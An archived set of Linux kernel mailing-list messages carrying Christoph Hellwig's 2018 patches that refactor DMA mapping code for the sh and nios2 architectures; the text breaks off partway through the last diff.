Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL699-0007it-Ua
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:12:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751214AbeEVMOP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:14:15 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:54358 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752656AbeEVMFp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:45 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=2a99InZUooxkRK1qxRJTGP2/+1bv4jDjLusK3pOPyqk=; b=EWai5firYk21p+MUuqO+DZoto
        hkmU4RLEqwIvRaUbCSjj2pau+o8RnL1VULElm+5OZ5lGCBMTnr6db+IEvldvoe59W+YQqx/yUArm0
        OXRU3Mn4bsuQNyGwGNEbRSLciTIZEgxECXKvij0JDJroefwtL1jCbj9Na59vmKNkCZf84D3Ysads3
        Lj9mWApetsqD0XQ76QdgPUQJ8llQx08WVcRe5RIJap9awADgg7kjyLvQn6CqNm1V91LJOckC4nq3r
        KDGCotckMRYf9pLe4yYDONzgmj0TGR0/++RZqLdSf2YsD8U06LxndmFiq9fEmpUR4XnT699jK6pUS
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62p-0001BQ-G6; Tue, 22 May 2018 12:05:36 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773788 gmane.linux.kernel.iommu:24497 gmane.linux.kernel.cross-arch:44306 gmane.linux.ports.alpha:5086 gmane.linux.kernel.arc:3942 gmane.linux.ports.arm.kernel:652041 gmane.linux.ports.hexagon:1765 gmane.linux.ports.parisc:28659 gmane.linux.ports.sh.devel:57077 gmane.linux.ports.sparc:27914
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773788>

And use it in the maple bus code to avoid a dma API dependency.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/include/asm/cacheflush.h | 7 +++++++
 arch/sh/mm/consistent.c          | 6 +-----
 drivers/sh/maple/maple.c         | 7 ++++---
 3 files changed, 12 insertions(+), 8 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index d103ab5a4e4b..b932e42ef028 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -101,5 +101,12 @@ void kunmap_coherent(void *kvaddr);
 
 void cpu_cache_init(void);
 
+static inline void *sh_cacheop_vaddr(void *vaddr)
+{
+	if (__in_29bit_mode())
+		vaddr = (void *)CAC_ADDR((unsigned long)vaddr);
+	return vaddr;
+}
+
 #endif /* __KERNEL__ */
 #endif /* __ASM_SH_CACHEFLUSH_H */
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 221832eec33b..5f86ae24025b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -69,10 +69,7 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 void sh_sync_dma_for_device(void *vaddr, size_t size,
 		    enum dma_data_direction direction)
 {
-	void *addr;
-
-	addr = __in_29bit_mode() ?
-	       (void *)CAC_ADDR((unsigned long)vaddr) : vaddr;
+	void *addr = sh_cacheop_vaddr(vaddr);
 
 	switch (direction) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
@@ -88,7 +85,6 @@ void sh_sync_dma_for_device(void *vaddr, size_t size,
 		BUG();
 	}
 }
-EXPORT_SYMBOL(sh_sync_dma_for_device);
 
 static int __init memchunk_setup(char *str)
 {
diff --git a/drivers/sh/maple/maple.c b/drivers/sh/maple/maple.c
index 7525039d812c..c9c354bd713a 100644
--- a/drivers/sh/maple/maple.c
+++ b/drivers/sh/maple/maple.c
@@ -300,8 +300,8 @@ static void maple_send(void)
 	mutex_unlock(&maple_wlist_lock);
 	if (maple_packets > 0) {
 		for (i = 0; i < (1 << MAPLE_DMA_PAGES); i++)
-			sh_sync_dma_for_device(maple_sendbuf + i * PAGE_SIZE,
-				       PAGE_SIZE, DMA_BIDIRECTIONAL);
+			__flush_purge_region(maple_sendbuf + i * PAGE_SIZE,
+					PAGE_SIZE);
 	}
 
 finish:
@@ -642,7 +642,8 @@ static void maple_dma_handler(struct work_struct *work)
 		list_for_each_entry_safe(mq, nmq, &maple_sentq, list) {
 			mdev = mq->dev;
 			recvbuf = mq->recvbuf->buf;
-			sh_sync_dma_for_device(recvbuf, 0x400, DMA_FROM_DEVICE);
+			__flush_invalidate_region(sh_cacheop_vaddr(recvbuf),
+					0x400);
 			code = recvbuf[0];
 			kfree(mq->sendbuf);
 			list_del_init(&mq->list);
-- 
2.17.0



From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc
Subject: [PATCH 16/25] sh: simplify get_arch_dma_ops
Date: Tue, 22 May 2018 14:04:21 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <20180522120430.28709-17-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526991143 30956 195.159.176.226 (22 May 2018 12:12:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:12:23 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue May 22 14:12:17 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fL69E-0007pp-JO
	for linux-arm-kernel@m.gmane.org; Tue, 22 May 2018 14:12:12 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=e1EbpWp7YDiW+R7Qx0VnVSKXqc0cSNjJsQL7nh0Hz64=; b=hw6wbOp3TeBOyloyKCVQIneCyi
	MX9li2DvnlACkETjnsumtYDBK+ZxVoMwVHR3APiEo34GnTgdMgPEvv/JthXLHufI/0CcZeXKFIMrN
	MVuuLkc5YedDph1H1SjDcBqLra4pbJp1QZfij8E7rZdSavIhoqdVyYh0Io7J/0tgFUvrsuiKjxZXg
	CFwbLFB+OT+TgKqBayBvHxPtEs0LDZEp8KCDN5PBhadOmJcCtsq4Mn1m/YQNWcvHGV89N7oSb6Nb/
	5H9QhBWZoV0ziJGB6wW/egCyiAm31k67AdLcjUIwd0/OBgQm7YkDgB382dCRl7PEa5jt0DvWZXUOQ
	grIogpjA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL6BJ-0007T5-85; Tue, 22 May 2018 12:14:21 +0000
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fL62l-000110-CL; Tue, 22 May 2018 12:05:32 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:652042 gmane.linux.kernel.iommu:24498 gmane.linux.kernel.cross-arch:44307 gmane.linux.ports.parisc:28660 gmane.linux.ports.sh.devel:57078 gmane.linux.ports.hexagon:1766 gmane.linux.kernel:2773789 gmane.linux.ports.alpha:5087 gmane.linux.ports.sparc:27915 gmane.linux.kernel.arc:3943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/652042>

Remove the indirection through the dma_ops variable, and just return
nommu_dma_ops directly from get_arch_dma_ops.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/include/asm/dma-mapping.h |  5 ++---
 arch/sh/kernel/dma-nommu.c        |  8 +-------
 arch/sh/mm/consistent.c           |  3 ---
 arch/sh/mm/init.c                 | 10 ----------
 4 files changed, 3 insertions(+), 23 deletions(-)

diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 41167931e5d9..149e71f95be7 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -2,12 +2,11 @@
 #ifndef __ASM_SH_DMA_MAPPING_H
 #define __ASM_SH_DMA_MAPPING_H
 
-extern const struct dma_map_ops *dma_ops;
-extern void no_iommu_init(void);
+extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return dma_ops;
+	return &nommu_dma_ops;
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 3e3a32fc676e..79a9edafa5b0 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -79,10 +79,4 @@ const struct dma_map_ops nommu_dma_ops = {
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
 #endif
 };
-
-void __init no_iommu_init(void)
-{
-	if (dma_ops)
-		return;
-	dma_ops = &nommu_dma_ops;
-}
+EXPORT_SYMBOL(nommu_dma_ops);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 35ea3099a3b6..221832eec33b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -20,9 +20,6 @@
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
 void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_handle, gfp_t gfp,
 				 unsigned long attrs)
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..32e09f03e6bf 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -395,22 +395,12 @@ void __init paging_init(void)
 	free_area_init_nodes(max_zone_pfns);
 }
 
-/*
- * Early initialization for any I/O MMUs we might have.
- */
-static void __init iommu_init(void)
-{
-	no_iommu_init();
-}
-
 unsigned int mem_init_done = 0;
 
 void __init mem_init(void)
 {
 	pg_data_t *pgdat;
 
-	iommu_init();
-
 	high_memory = NULL;
 	for_each_online_pgdat(pgdat)
 		high_memory = max_t(void *, high_memory,
-- 
2.17.0

From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 11/25] nios2: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:16 +0200
Lines: 248
Approved: news@gmane.org
Message-ID: <20180522120430.28709-12-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526991154 31793 195.159.176.226 (22 May 2018 12:12:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:12:34 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:12:28 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL69R-00084p-5N
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:12:25 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id AF6AACFC;
	Tue, 22 May 2018 12:05:26 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id ED177CFC
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:24 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id DCAD71DAA9
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:23 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=+rBZp5MrPhKUBBPkwFpz3SZeiLKiihKQZowXAPIW6cI=;
	b=DOMdNcc0lgXORw3jr/yhcOab1
	XZt5kalvrzHPluIjPcHGrRhf3fvpvIOpkhml+YzkUIMAenciQs1j6FphShcX3XrN7nKBplBx6gYQ3
	blfuV5I0QdtxkrRUuWdeYYZAFy+9NCpv0U+vvxyYA3JCz2eYvt3ZjzRVNr9v1Y0B1HMtsKQ9HWDNJ
	AtcAC0PmMg97LVpgCFruyBU3pCXEVakZWTTQCL31fwaWPkDDVxNQ8iJ2YN25SIa7WT4v8yBHGrgWs
	2bBNZUAKnQcTUApHHU8kglrHngBQZc71wiVHU/jOByR6QkVr+XHtK0Ll4UzenbPeHuUgTcj3UIAF0
	A65rMnpJg==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL62T-00006C-PO; Tue, 22 May 2018 12:05:14 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24499 gmane.linux.kernel.cross-arch:44308 gmane.linux.ports.parisc:28661 gmane.linux.ports.sh.devel:57079 gmane.linux.ports.hexagon:1767 gmane.linux.kernel:2773790 gmane.linux.ports.alpha:5088 gmane.linux.ports.sparc:27916 gmane.linux.kernel.arc:3944 gmane.linux.ports.arm.kernel:652043
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24499>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nios2/Kconfig                   |   3 +
 arch/nios2/include/asm/Kbuild        |   1 +
 arch/nios2/include/asm/dma-mapping.h |  20 ----
 arch/nios2/mm/dma-mapping.c          | 139 +++------------------------
 4 files changed, 17 insertions(+), 146 deletions(-)
 delete mode 100644 arch/nios2/include/asm/dma-mapping.h

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 3d4ec88f1db1..92035042cf62 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -1,6 +1,9 @@
 # SPDX-License-Identifier: GPL-2.0
 config NIOS2
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select TIMER_OF
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index d232da2cbb38..24f6ee1ee69b 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -8,6 +8,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
deleted file mode 100644
index 6ceb92251da0..000000000000
--- a/arch/nios2/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2011 Tobias Klauser <tklauser-93Khv+1bN0NyDzI6CaY1VQ@public.gmane.org>
- * Copyright (C) 2009 Wind River Systems Inc
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License.  See the file COPYING in the main directory of this
- * archive for more details.
- */
-
-#ifndef _ASM_NIOS2_DMA_MAPPING_H
-#define _ASM_NIOS2_DMA_MAPPING_H
-
-extern const struct dma_map_ops nios2_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nios2_dma_ops;
-}
-
-#endif /* _ASM_NIOS2_DMA_MAPPING_H */
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 4be815519dd4..4af9e5b5ba1c 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -12,18 +12,18 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
 #include <linux/dma-mapping.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <asm/cacheflush.h>
 
-static inline void __dma_sync_for_device(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
 			(unsigned long)(vaddr + size));
@@ -42,10 +42,12 @@ static inline void __dma_sync_for_device(void *vaddr, size_t size,
 	}
 }
 
-static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
@@ -58,8 +60,8 @@ static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
 	}
 }
 
-static void *nios2_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -80,125 +82,10 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void nios2_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long addr = (unsigned long) CAC_ADDR((unsigned long) vaddr);
 
 	free_pages(addr, get_order(size));
 }
-
-static int nios2_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-
-	for_each_sg(sg, sg, nents, i) {
-		void *addr = sg_virt(sg);
-
-		if (!addr)
-			continue;
-
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync_for_device(addr, sg->length, direction);
-	}
-
-	return nents;
-}
-
-static dma_addr_t nios2_dma_map_page(struct device *dev, struct page *page,
-			unsigned long offset, size_t size,
-			enum dma_data_direction direction,
-			unsigned long attrs)
-{
-	void *addr = page_address(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_device(addr, size, direction);
-
-	return page_to_phys(page) + offset;
-}
-
-static void nios2_dma_unmap_page(struct device *dev, dma_addr_t dma_address,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
-}
-
-static void nios2_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-		int nhwentries, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	void *addr;
-	int i;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	for_each_sg(sg, sg, nhwentries, i) {
-		addr = sg_virt(sg);
-		if (addr)
-			__dma_sync_for_cpu(addr, sg->length, direction);
-	}
-}
-
-static void nios2_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
-}
-
-static void nios2_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_device(sg_virt(sg), sg->length, direction);
-
-}
-
-const struct dma_map_ops nios2_dma_ops = {
-	.alloc			= nios2_dma_alloc,
-	.free			= nios2_dma_free,
